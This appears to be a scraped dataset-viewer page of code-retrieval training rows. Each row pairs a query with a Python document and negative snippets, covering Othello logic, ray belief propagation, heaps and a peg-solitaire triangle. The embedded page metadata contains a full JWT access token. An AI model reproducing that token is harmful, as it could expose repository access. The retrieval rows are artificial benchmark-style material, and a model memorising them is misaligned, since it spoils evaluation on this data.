\"0.54361737\",\n \"0.5416471\",\n \"0.5397898\",\n \"0.5392145\",\n \"0.53609395\",\n \"0.535997\",\n \"0.5309368\",\n \"0.524731\",\n \"0.5224728\",\n \"0.52169335\",\n \"0.52145565\",\n \"0.5204595\",\n \"0.5202115\",\n \"0.5191959\",\n \"0.5163379\",\n \"0.5163006\",\n \"0.5163006\",\n \"0.51540416\",\n \"0.5148012\",\n \"0.5146974\",\n \"0.5145648\",\n \"0.5143113\",\n \"0.5143113\",\n \"0.51298386\",\n \"0.5127998\",\n \"0.5127998\",\n \"0.509057\",\n \"0.5087482\",\n \"0.5083448\",\n \"0.5078595\",\n \"0.5072599\",\n \"0.5061761\",\n \"0.50598526\",\n \"0.5053639\",\n \"0.5047231\",\n \"0.5038535\",\n \"0.5038301\",\n \"0.5013467\",\n \"0.5009779\",\n \"0.5009779\",\n \"0.500894\",\n \"0.50084776\",\n \"0.5008458\",\n \"0.50068134\",\n \"0.49966776\",\n \"0.4982047\",\n \"0.49775007\",\n \"0.49717277\",\n \"0.49690798\",\n \"0.49623346\",\n \"0.49445194\",\n \"0.49425584\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49276936\",\n \"0.49227124\",\n \"0.4919696\",\n \"0.49042422\",\n \"0.4896733\",\n \"0.4893745\",\n \"0.48882997\",\n \"0.48737845\",\n \"0.48684204\",\n \"0.48597026\",\n \"0.48571312\",\n \"0.4853434\",\n \"0.48517433\",\n \"0.48517433\",\n \"0.48452097\",\n \"0.48430777\",\n \"0.48418063\",\n \"0.4841592\",\n \"0.48327622\",\n \"0.48319498\",\n \"0.48299983\",\n \"0.48244697\",\n \"0.48234367\",\n \"0.48115993\",\n \"0.48114458\",\n \"0.48069793\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}}],"truncated":false,"partial":true},"paginationData":{"pageIndex":144,"numItemsPerPage":100,"numTotalItems":95772,"offset":14400,"length":100}},"jwt":"eyJhbGciOiJFZERTQSIsImtpZCI6IjVHZDBvd0g5MTM2eDZjc1FvbE1zcktNWUZoRVFoUm5PVVVybEpjOUhaUEEifQ.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc4NjA1NjY0MSwianRpIjoiZDY1ZTUzNzItYWYzMS00MDAwLWI0ODAtNzZkMzY2YWVmODc0Iiwic3ViIjoiL2RhdGFzZXRzL25vbWljLWFpL2Nvcm5zdGFjay1weXRob24tdjEiLCJleHAiOjE3ODYwNjAyNDEsImlzcyI6Imh0dHBzOi8vaHVnZ2luZ2ZhY2UuY28ifQ.JyU5AOFD5sQj_E1ClV2zB6OQtJPcYd2zuVOYrIIYPfrUjotTPqxW8oqDPv51SNiBzsLBn61S2_BFRopodMkbAw","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":95772,"numBytesParquet":1928375891}]},"discussionsStats":{"closed":1,"open":1,"total":2},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
query stringlengths 9 3.4k | document stringlengths 9 87.4k | metadata dict | negatives listlengths 4 101 | negative_scores listlengths 4 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
Is move a square on the board? | def is_valid(self, move):
return move > 10 and move < 89 | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_new_move(my_board, x, y):\n return my_board[x, y] == CLOSED",
"def does_move_win(self, x, y):\n me = self.board[x][y]\n for (dx, dy) in [(0, +1), (+1, +1), (+1, 0), (+1, -1)]:\n p = 1\n while self.is_on_board(x+p*dx, y+p*dy) and self.board[x+p*dx][y+p*dy] == me:\n ... | [
"0.76694965",
"0.76564497",
"0.76129466",
"0.7534907",
"0.7482585",
"0.7451095",
"0.7349873",
"0.7335955",
"0.73351735",
"0.73169786",
"0.72943103",
"0.72885555",
"0.72349745",
"0.7217792",
"0.71833056",
"0.7168608",
"0.7166267",
"0.71539867",
"0.71370345",
"0.71336055",
"0.7... | 0.0 | -1 |
Get player's opponent piece. | def opponent(self, player):
# player = core.BLACK (can do this for any static var)
if player == core.BLACK:
return core.WHITE
else:
return core.BLACK | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getOpponent(self):\n return self.__opponent",
"def get_opponent(self):\n for cell in self.__state.board.find_workers():\n player = self.__state.board.get_player_id(cell[0], cell[1])\n if not player == self.__pid:\n return player",
"def opponent(self):\n ... | [
"0.7492938",
"0.7264806",
"0.7049177",
"0.7040058",
"0.68809295",
"0.6790353",
"0.6682499",
"0.6642669",
"0.6617875",
"0.6548825",
"0.65392536",
"0.639095",
"0.63774604",
"0.63774604",
"0.63543737",
"0.6320625",
"0.6320233",
"0.6275478",
"0.62690526",
"0.62504077",
"0.6211759... | 0.70919555 | 2 |
Find a square that forms a bracket with `square` for `player` in the given `direction`. Returns None if no such square exists. Returns the index of the bracketing square if found | def find_bracket(self, square, player, board, direction):
curr = square+ direction
opp = self.opponent(player)
if(board[curr]!=opp):
return None
while(self.is_valid(curr) and board[curr]==opp):
curr+=direction
if(self.is_valid(curr) and board[curr] ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_bracket(square, player, board, direction):\n bracket = square + direction\n if board[bracket] == player:\n return None\n opp = Othello.opponent(player)\n while board[bracket] == opp:\n bracket += direction\n return None if board[bracket] in (OUTER, ... | [
"0.80075675",
"0.657441",
"0.63864964",
"0.6318657",
"0.6174479",
"0.5725372",
"0.57224786",
"0.5603353",
"0.5454616",
"0.54519516",
"0.54519516",
"0.543676",
"0.5399402",
"0.5393349",
"0.5366055",
"0.52998435",
"0.52970845",
"0.5295573",
"0.5294598",
"0.5291805",
"0.5225825"... | 0.80948424 | 0 |
Is this a legal move for the player? | def is_legal(self, move, player, board):
if(self.is_valid(move)==False):
return False
if(board[move]!=core.EMPTY):
return False
return True | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def valid_move(self, player, move):\n return (True)",
"def player(self):\n legal = self.board.legal_move(self.black)\n if(len(legal) == 0):\n self.p_no_move = 1\n print(\"No legal move for player!\")\n self.computer_turn = True\n self.player_turn =... | [
"0.8153959",
"0.7920928",
"0.78006524",
"0.7740374",
"0.7722312",
"0.7576567",
"0.7451655",
"0.7385302",
"0.7312729",
"0.727711",
"0.72697985",
"0.71980315",
"0.7145663",
"0.71408117",
"0.7109313",
"0.7081617",
"0.7077877",
"0.70748216",
"0.70613927",
"0.7060065",
"0.7006584"... | 0.7460049 | 6 |
Update the board to reflect the move by the specified player. | def make_move(self, move, player, board):
#nBoard = board.copy()
board[move] = player
for d in core.DIRECTIONS:
if self.find_bracket(move, player, board, d)!=None:
self.make_flips(move, player, board, d)
return board | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move(self, row, col, player):\n self.board[row][col] = player",
"def move(self, row, col, player):\n if self._board[row][col] == EMPTY:\n self._board[row][col] = player",
"def move(self, row, col, player):",
"def _update_player(self, player: Player, update_grid = None):\n ... | [
"0.7772014",
"0.7355093",
"0.7287095",
"0.7274741",
"0.69488734",
"0.68208927",
"0.68134964",
"0.67698324",
"0.67647517",
"0.67599833",
"0.6638706",
"0.6591518",
"0.65851456",
"0.6582012",
"0.6581577",
"0.6557409",
"0.6527905",
"0.6525072",
"0.65132385",
"0.65091723",
"0.6493... | 0.0 | -1 |
Flip pieces in the given direction as a result of the move by player. | def make_flips(self, move, player, board, direction):
curr = move + direction
opp = self.opponent(player)
while(board[curr]==opp):
board[curr] = player
curr += direction
#return board
| {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def flip(self, x, y):\n self.pieces[x + (y * self.width)].flip()",
"def flip(self, bev_direction: str = 'horizontal') -> None:\n pass",
"def make_flips(move, player, board, direction):\n bracket = Othello.find_bracket(move, player, board, direction)\n if not bracket:\n re... | [
"0.68362707",
"0.6592844",
"0.65014696",
"0.6500981",
"0.6391202",
"0.62869",
"0.61508685",
"0.61346436",
"0.6131365",
"0.6130957",
"0.6108974",
"0.6072877",
"0.6030984",
"0.59973514",
"0.5908052",
"0.5880105",
"0.57856685",
"0.5767312",
"0.5751639",
"0.5737677",
"0.57143956"... | 0.69535416 | 0 |
Get a list of all legal moves for player, as a list of integers | def legal_moves(self, player, board):
#go through the whole board and check whether the piece is on the board or not
#num/row size - num%col == num2/row size - num@%col
#num/row size + num%col
moves = list()
opp = self.opponent(player)
#print(board)
for i i... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def possible_moves(self): \n return [a + 1 for a, b in enumerate(self.board) if b == 0]",
"def get_valid_moves(self) -> list[int]:\n return self._valid_moves",
"def get_possible_moves(board):\n\tpossible_moves = []\n\n\tfor count, player in enumerate(board):\n\t\tif player is not server_pl... | [
"0.77633595",
"0.77482265",
"0.768101",
"0.7625057",
"0.76249105",
"0.75210696",
"0.74038094",
"0.7357803",
"0.7330449",
"0.72653216",
"0.7263358",
"0.72607195",
"0.723677",
"0.72177565",
"0.7181947",
"0.7173437",
"0.71125764",
"0.70690686",
"0.705811",
"0.7040512",
"0.697783... | 0.71604383 | 16 |
Can player make any moves? Returns a boolean | def any_legal_move(self, player, board):
moves = self.legal_moves(player, board)
#print(moves)
return len(moves)!=0 | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_check(self):\r\n \r\n if not self.run:\r\n return False\r\n \r\n if self.get_num_legal_moves() == 0:\r\n SlTrace.lg(\"NO more legal moves!\", \"nolegalmoves\")\r\n ###return False \r\n \r\n if self.new_move:\r\n se... | [
"0.80388695",
"0.7600481",
"0.76002926",
"0.75457877",
"0.73324925",
"0.7276734",
"0.72636664",
"0.71992004",
"0.71682996",
"0.7102028",
"0.7098147",
"0.7088383",
"0.70783705",
"0.70189273",
"0.6986816",
"0.69830495",
"0.69700056",
"0.69603264",
"0.6956357",
"0.6952261",
"0.6... | 0.77968675 | 1 |
Which player should move next? Returns None if no legal moves exist. | def next_player(self,board, prev_player):
opp = self.opponent(prev_player)
isOpp = self.any_legal_move(opp, board)
isPrev = self.any_legal_move(prev_player, board)
if(isOpp==False and isPrev==False):
return None
elif(isOpp == False and isPrev == True):
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def next_player(board, prev_player):\n opp = Othello.opponent(prev_player)\n if Othello.any_legal_move(opp, board):\n return opp\n elif Othello.any_legal_move(prev_player, board):\n return prev_player\n return None",
"def player_move():\n\tmove = None\n\twhile mo... | [
"0.7872411",
"0.74398774",
"0.71945137",
"0.71246403",
"0.70864546",
"0.70783263",
"0.705533",
"0.7050984",
"0.70068854",
"0.6994962",
"0.69577587",
"0.6937091",
"0.68736523",
"0.68567985",
"0.6854401",
"0.6811088",
"0.6777367",
"0.6775967",
"0.67653716",
"0.67629874",
"0.672... | 0.74983096 | 1 |
Compute player's score (number of player's pieces minus opponent's). | def score(self,player, board):
numPlayer = 0
numOpp = 0
for i in self.squares():
if board[i] == player:
numPlayer+= SQUARE_WEIGHTS[i]
else:
numOpp+=SQUARE_WEIGHTS[i]
return numPlayer-numOpp | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def score2(self,player, board):\r\n numPlayer = 0\r\n numOpp = 0\r\n for i in self.squares():\r\n if board[i] == player:\r\n numPlayer+= 1\r\n else:\r\n numOpp+=1\r\n return numPlayer-numOpp",
"def score(player, board):\n mine... | [
"0.77100617",
"0.76665014",
"0.7596806",
"0.755954",
"0.74644375",
"0.7270104",
"0.72659296",
"0.7192504",
"0.71761346",
"0.70750165",
"0.70623815",
"0.7020574",
"0.6970311",
"0.69272745",
"0.69137883",
"0.68977886",
"0.6897169",
"0.68841004",
"0.68778896",
"0.68595576",
"0.6... | 0.7846785 | 0 |
Compute player's score (number of player's pieces minus opponent's). | def score2(self,player, board):
numPlayer = 0
numOpp = 0
for i in self.squares():
if board[i] == player:
numPlayer+= 1
else:
numOpp+=1
return numPlayer-numOpp | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def score(self,player, board):\r\n numPlayer = 0\r\n numOpp = 0\r\n for i in self.squares():\r\n if board[i] == player:\r\n numPlayer+= SQUARE_WEIGHTS[i]\r\n else:\r\n numOpp+=SQUARE_WEIGHTS[i]\r\n return numPlayer-numOpp",
"def scor... | [
"0.7845445",
"0.7665763",
"0.7595392",
"0.7558798",
"0.74634653",
"0.72690827",
"0.72640866",
"0.7191977",
"0.7175509",
"0.7073882",
"0.70610803",
"0.7019335",
"0.696953",
"0.69266623",
"0.6912282",
"0.6897905",
"0.68971044",
"0.68832207",
"0.68773335",
"0.68591225",
"0.68503... | 0.7709773 | 1 |
Determine which player won or TIED | def terminal_test(self, board):
blackScore = board.count(core.BLACK)
whiteScore = board.count(core.WHITE)
if blackScore > whiteScore:
return core.PLAYERS[core.BLACK]
elif blackScore < whiteScore:
return core.PLAYERS[core.WHITE]
else:
re... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def other_player(cls, player):\n return 0 if player == 1 else 1",
"def winner(self):\n if self.__current_player == 1:\n if self.__fields[0].winner():\n print(self.__players[0]._Player__name + \"is winner!\")\n Game.play = False\n elif self.__current_p... | [
"0.7408237",
"0.73853755",
"0.7267272",
"0.72462034",
"0.7160971",
"0.71601397",
"0.71561503",
"0.7132931",
"0.71317226",
"0.7095893",
"0.7046908",
"0.70039946",
"0.7000272",
"0.6996662",
"0.69900584",
"0.6986868",
"0.69611496",
"0.69256836",
"0.6915876",
"0.6915876",
"0.6915... | 0.0 | -1 |
Clip the values of x from eps to 1eps and renormalize them so that they sum to 1. | def clip_and_renorm(x, eps=1e-5):
x = np.clip(x, eps, 1-eps)
return x / x.sum() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def threshold_and_normalize_pixels(x, eps=1e-2):\n x = torch.clamp(x, min=eps)\n x = x / torch.sum(x, dim=1, keepdim=True)\n return x",
"def _normalize(x):\n tol = 1e-10\n dims = x.shape\n\n x = x.flatten()\n inverse = (np.sum(x**2) + tol) ** -.5\n x = x * inverse\n ... | [
"0.716385",
"0.71209276",
"0.7078646",
"0.6867248",
"0.68503493",
"0.68422705",
"0.6825308",
"0.6799856",
"0.6776279",
"0.6757192",
"0.66739017",
"0.66679573",
"0.6650903",
"0.650148",
"0.6492298",
"0.64902186",
"0.64388424",
"0.642077",
"0.6390071",
"0.63312405",
"0.6331007"... | 0.76624894 | 0 |
Run the sumproduct belief propagation for a single ray accumulating the occupancy to ray messages in log space and producing the new ray to occupancy messages. Arguments | def single_ray_belief_propagation(ray_voxel_indices,
ray_to_occupancy_accumulated_pon,
ray_to_occupancy_pon, s):
# Create an index that when passed to a numpy array will return the voxels
# that this ray passes through
# TODO: Remove this c... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def belief_propagation(\n S,\n ray_voxel_indices,\n ray_voxel_count,\n ray_to_occupancy_messages_pon,\n grid_shape,\n gamma=0.05,\n bp_iterations=3,\n progress_callback=lambda *args: None\n):\n # Extract the number of rays\n N, M = S.shape\n\n # Initialize the ray to occupancy mess... | [
"0.6919233",
"0.5892002",
"0.5517866",
"0.54245466",
"0.52051145",
"0.51677525",
"0.5152469",
"0.5125298",
"0.5082556",
"0.50799584",
"0.5073586",
"0.505811",
"0.5040545",
"0.5011798",
"0.4996324",
"0.498793",
"0.49791676",
"0.49737632",
"0.4945683",
"0.49369043",
"0.49077606... | 0.7314743 | 0 |
Compute the depth distribution for each ray according to eq 55 in my report. | def single_ray_depth_estimate(
ray_voxel_indices,
ray_to_occupancy_accumulated_pon,
ray_to_occupancy_pon,
s
):
# Create an index that when passed to a numpy array will return the voxels
# that this ray passes through
if ray_voxel_indices.shape[-1] == 3:
indices = (
ray_vo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compute_depth_distribution(\n S,\n ray_voxel_indices,\n ray_voxel_count,\n ray_to_occupancy_messages_pon,\n ray_to_occupancy_accumulated_pon,\n S_new\n):\n # Extract the number of rays\n N, M = S.shape\n\n # Fill S_new with zeros\n S_new.fill(0)\n\n # Iterate over the rays\n ... | [
"0.6694844",
"0.6654807",
"0.6267751",
"0.6171776",
"0.6167753",
"0.59690034",
"0.59573865",
"0.5930685",
"0.59288687",
"0.5914298",
"0.57433236",
"0.5730665",
"0.5693678",
"0.5665114",
"0.5603573",
"0.5586095",
"0.5579907",
"0.5579907",
"0.5555946",
"0.55493295",
"0.55155706... | 0.61307365 | 5 |
Compute the approximate marginal distributions of each occupancy variable | def compute_occupancy_probabilities(
ray_to_occupancy_accumulated_pon,
gamma=0.031
):
# The probability of the i^th voxel is given from
# p(o_i) =\
# \mu_{\phi \to o_i}(o_i) \prod_{\psi_k \in L} \mu_{\psi_k \to o_i}(o_i)
#
# We need to compute the \prod_{\psi_k \in L} \mu_{\psi_k \to o_i}(o_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def marginalDistribution(self, x, variable):\n return self._distribution.marginal(x, variable)",
"def occupation_distribution(data):",
"def marginal(self):\n m = np.zeros(len(self.domain))\n for fnode in self.neighbors:\n m += self.received[fnode]\n return np.exp(normalize(m)... | [
"0.69214064",
"0.6871677",
"0.67752934",
"0.6695681",
"0.6630897",
"0.6572321",
"0.6369079",
"0.63327956",
"0.6281994",
"0.62414736",
"0.62369066",
"0.61250496",
"0.61205524",
"0.61062807",
"0.60554814",
"0.60171336",
"0.5955231",
"0.593358",
"0.58735806",
"0.5868777",
"0.586... | 0.0 | -1 |
Run the belief propagation for a set of rays | def belief_propagation(
S,
ray_voxel_indices,
ray_voxel_count,
ray_to_occupancy_messages_pon,
grid_shape,
gamma=0.05,
bp_iterations=3,
progress_callback=lambda *args: None
):
# Extract the number of rays
N, M = S.shape
# Initialize the ray to occupancy messages to uniform
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def single_ray_belief_propagation(ray_voxel_indices,\n ray_to_occupancy_accumulated_pon,\n ray_to_occupancy_pon, s):\n # Create an index that when passed to a numpy array will return the voxels\n # that this ray passes through\n # TODO: Rem... | [
"0.6051191",
"0.57601404",
"0.56488925",
"0.5455181",
"0.5427728",
"0.54135686",
"0.5383709",
"0.53433657",
"0.5283373",
"0.52386534",
"0.5231889",
"0.52266884",
"0.5205245",
"0.5200786",
"0.51926756",
"0.5170246",
"0.51418513",
"0.51362956",
"0.5133803",
"0.51281625",
"0.512... | 0.64419127 | 0 |
Perform the depth estimation according to Equation 55 in my report p(D_r = d_i) = 1\Z \mu_{o_i \to \psi_r}(o_i=1) \prod_{j=1}^{i1} \mu_{o_j \to \psi_r}(o_j = 0) s_i | def compute_depth_distribution(
S,
ray_voxel_indices,
ray_voxel_count,
ray_to_occupancy_messages_pon,
ray_to_occupancy_accumulated_pon,
S_new
):
# Extract the number of rays
N, M = S.shape
# Fill S_new with zeros
S_new.fill(0)
# Iterate over the rays
for r in range(N):
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def depth_estimation(x_left, x_right, f=33.4, d=114):\n depth = abs(f * d / ((x_left - x_right) / 72 * 2.54)) / 100 # - 0.418879\n return depth",
"def _estimateDepth(self, size, neighbourRadius):\n neighbourRadius *= 1.5\n for i in xrange(100):\n j = 2**i\n spacings = [... | [
"0.67218643",
"0.6288294",
"0.6240507",
"0.594687",
"0.5937492",
"0.59242696",
"0.586455",
"0.58417153",
"0.57648003",
"0.57510024",
"0.57486445",
"0.5738527",
"0.5704622",
"0.5702639",
"0.56910264",
"0.56805176",
"0.5638139",
"0.5630299",
"0.56262654",
"0.56231076",
"0.56103... | 0.0 | -1 |
View the top of the heap | def peek(self):
return self.m * self.heap[0] if self.heap else None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def top(heap):\n return heap[_root()]",
"def top(self):",
"def print_heap(self):\n print self.queue[:self.size:]",
"def top(self, top):\n self.ptr.top(top)",
"def vtop(self, addr):\n pass",
"def main():\n heap = MinHeap()\n for i in range(10):\n heap.add(i)\n print... | [
"0.7776735",
"0.73952436",
"0.71884525",
"0.7153927",
"0.69775426",
"0.69589305",
"0.6931902",
"0.6920529",
"0.68991625",
"0.6857245",
"0.6803377",
"0.6803377",
"0.65676486",
"0.648923",
"0.64815575",
"0.64791524",
"0.6466259",
"0.64315844",
"0.6429634",
"0.63845813",
"0.6348... | 0.6263346 | 30 |
Add a new item to the heap | def push(self, item):
self.heap.append(self.m * item)
self._sift_up() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def push(self, item):\n heapq.heappush(self.heap, item)",
"def insert(self, item):\n self.heaplist.append(item)\n self.currentsize += 1\n self.shift_item_up(self.currentsize)",
"def heappush(heap, item):\n heap.append(item)\n Heap.siftdown(heap, 0, len(heap) - 1)",
"... | [
"0.86625844",
"0.84260476",
"0.83818865",
"0.83268684",
"0.83058447",
"0.83046746",
"0.81907606",
"0.81827074",
"0.8125624",
"0.8119751",
"0.8094255",
"0.7948402",
"0.78585076",
"0.7813688",
"0.77300596",
"0.7647694",
"0.7630693",
"0.760874",
"0.75826657",
"0.75822777",
"0.75... | 0.8161657 | 8 |
Plot stats for allproperties specified in properties_to_plot on one plot. | def optimization_run_properties_one_plot(
results: Result,
properties_to_plot: Optional[List[str]] = None,
size: Tuple[float, float] = (18.5, 10.5),
start_indices: Optional[Union[int, Iterable[int]]] = None,
colors: Optional[Union[List[float], List[List[float]]]] = None,
legends: Optional[Union[... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_many(self, property_list):\n\t\tself.property_existence(property_list)\n\n\t\tsns.pairplot(self.df[property_list])\n\t\tplt.tight_layout()\n\t\tplt.show()",
"def plot_properties(self, property_x=None, property_y=None):\n\n\t\tself.property_existence([property_x, property_y])\n\n\t\tfig, ax = plt.subplot... | [
"0.75361174",
"0.73993117",
"0.6505304",
"0.6423644",
"0.633898",
"0.6082438",
"0.5929184",
"0.59047884",
"0.58050925",
"0.5801211",
"0.5786275",
"0.57455045",
"0.5687699",
"0.5686295",
"0.5667004",
"0.56063676",
"0.55991805",
"0.55541974",
"0.5547238",
"0.55392843",
"0.55346... | 0.6990053 | 2 |
One plot per optimization property in properties_to_plot. | def optimization_run_properties_per_multistart(
results: Union[Result, Sequence[Result]],
properties_to_plot: Optional[List[str]] = None,
size: Tuple[float, float] = (18.5, 10.5),
start_indices: Optional[Union[int, Iterable[int]]] = None,
colors: Optional[Union[List[float], List[List[float]]]] = Non... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_many(self, property_list):\n\t\tself.property_existence(property_list)\n\n\t\tsns.pairplot(self.df[property_list])\n\t\tplt.tight_layout()\n\t\tplt.show()",
"def optimization_run_properties_one_plot(\n results: Result,\n properties_to_plot: Optional[List[str]] = None,\n size: Tuple[float, float... | [
"0.71136564",
"0.7106824",
"0.70605874",
"0.61590767",
"0.6127294",
"0.6100989",
"0.58987767",
"0.5892727",
"0.5865572",
"0.58586276",
"0.58002615",
"0.5791218",
"0.57700926",
"0.57644415",
"0.5728571",
"0.57230747",
"0.57168967",
"0.5715274",
"0.5685466",
"0.5634376",
"0.561... | 0.61634773 | 3 |
Plot stats for an optimization run property specified by opt_run_property. It is possible to plot a histogram or a line plot. In a line plot, on the x axis are the numbers of the multistarts, where the multistarts are ordered with respect to a function value. On the y axis of the line plot the value of the correspondin... | def optimization_run_property_per_multistart(
results: Union[Result, Sequence[Result]],
opt_run_property: str,
axes: Optional[matplotlib.axes.Axes] = None,
size: Tuple[float, float] = (18.5, 10.5),
start_indices: Optional[Union[int, Iterable[int]]] = None,
colors: Optional[Union[List[float], Lis... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def optimization_run_properties_one_plot(\n results: Result,\n properties_to_plot: Optional[List[str]] = None,\n size: Tuple[float, float] = (18.5, 10.5),\n start_indices: Optional[Union[int, Iterable[int]]] = None,\n colors: Optional[Union[List[float], List[List[float]]]] = None,\n legends: Opti... | [
"0.66925603",
"0.63589454",
"0.6322748",
"0.6245997",
"0.602035",
"0.59249425",
"0.59024245",
"0.5690448",
"0.568816",
"0.5664423",
"0.5628853",
"0.56173986",
"0.56059617",
"0.55577713",
"0.55445033",
"0.5530686",
"0.55180305",
"0.55145836",
"0.54932714",
"0.547722",
"0.54603... | 0.7293934 | 0 |
Plot values of the optimization run property across different multistarts. | def stats_lowlevel(
result: Result,
property_name: str,
axis_label: str,
ax: matplotlib.axes.Axes,
start_indices: Optional[Union[int, Iterable[int]]] = None,
color: Union[str, List[float], List[List[float]]] = 'C0',
legend: Optional[str] = None,
plot_type: str = 'line',
):
fvals = re... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def results_plot_fuel_reactor(self):\n \n import matplotlib.pyplot as plt \n\n # Total pressure profile\n P = []\n for z in self.MB_fuel.z:\n P.append(value(self.MB_fuel.P[z]))\n fig_P = plt.figure(1)\n plt.plot(self.MB_fuel.z, P)\n plt.grid()\n plt.xlabel(\"Bed height [-]\")\n... | [
"0.67386675",
"0.6636919",
"0.6468642",
"0.63708216",
"0.6351907",
"0.6337131",
"0.6336514",
"0.62994426",
"0.6257881",
"0.6239519",
"0.6221294",
"0.61722106",
"0.61707246",
"0.6161194",
"0.61459094",
"0.61107713",
"0.61022514",
"0.60939723",
"0.60936457",
"0.60926545",
"0.60... | 0.0 | -1 |
Creates a pt = [x, y]' vector and yaw scalar from two input vectors representing points in the map frame. | def _get_pt_theta(self, R, C, base_rad_m=0.2):
#rospy.loginfo("Received R: %s, C: %s" % (R, C))
G = C - R
#rospy.loginfo("Calculated G = %s" % G)
G_mag = np.linalg.norm(G)
#rospy.loginfo("Calculated G_mag = %s" % G_mag)
# magnitude of distance for goal is magnitude of di... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def vector_to_pitchyaw(vectors):\n '''x = cos(yaw)cos(pitch) y = sin(yaw)cos(pitch) z = sin(pitch)'''\n n = vectors.shape[0]\n out = np.empty((n, 2))\n vectors = np.divide(vectors, np.linalg.norm(vectors, axis=1).reshape(n, 1))\n out[:, 0] = np.arcsin(vectors[:, 1]) # theta\n out[:, 1] = np.arct... | [
"0.7170129",
"0.68854094",
"0.6122778",
"0.609041",
"0.5802181",
"0.5776113",
"0.5679148",
"0.5653731",
"0.56464136",
"0.558112",
"0.5578127",
"0.5555221",
"0.5537814",
"0.552987",
"0.5524724",
"0.552017",
"0.55173385",
"0.5503303",
"0.550058",
"0.5496128",
"0.54903823",
"0... | 0.0 | -1 |
Checks a row & peg combination to see if it refers to a real place in the triangle. | def is_valid(row, peg):
return (
(row < TRI_SIZE) and
(row >= 0) and
(peg < TRI_SIZE) and
(peg >= 0) and
(peg <= row)
) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __check_row(self, x: int, y: int) -> bool:\n return not any([self.__maze[x, y + i] for i in (-1, 0, 1)])",
"def _pre_check(self) -> bool:\n if self._fuse_row:\n rows = (\n self._tiling.cells_in_row(self._row_idx),\n self._tiling.cells_in_row(self._row_id... | [
"0.7280164",
"0.68686604",
"0.6789244",
"0.67537653",
"0.6733248",
"0.6684262",
"0.6682173",
"0.65795547",
"0.6564693",
"0.65318656",
"0.6483577",
"0.6470317",
"0.6459898",
"0.6441177",
"0.64353055",
"0.64183944",
"0.63982993",
"0.63813514",
"0.6358549",
"0.6357853",
"0.63511... | 0.79514277 | 0 |
Returns a copy of the triangle (faster than deepcopy). | def copy_triangle(tri):
return [[peg for peg in row] for row in tri] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def triangle(self):\n [r,c] = self.D\n m = min(r,c)\n S = self\n T = zeros(r,c)\n while m > 0:\n NoLigne = 0\n while S[NoLigne, 0] == 0 and (NoLigne < m - 1):\n NoLigne += 1\n S = S.swap(NoLigne,0)\n if S[... | [
"0.6823598",
"0.642301",
"0.6033022",
"0.6030731",
"0.5999631",
"0.5969139",
"0.59297556",
"0.58959395",
"0.58513814",
"0.58339965",
"0.57237965",
"0.5711828",
"0.56681204",
"0.560612",
"0.55897707",
"0.5587957",
"0.5586594",
"0.55755776",
"0.5572819",
"0.5558009",
"0.5556987... | 0.720594 | 0 |
Performs a jump between an occupied (row, peg) tuple A and an unoccupied C, passing over B. If anything is bad with the jump, returns False; otherwise returns True. | def jump(tri, A, B, C):
start_row, start_peg = A
mid_row, mid_peg = B
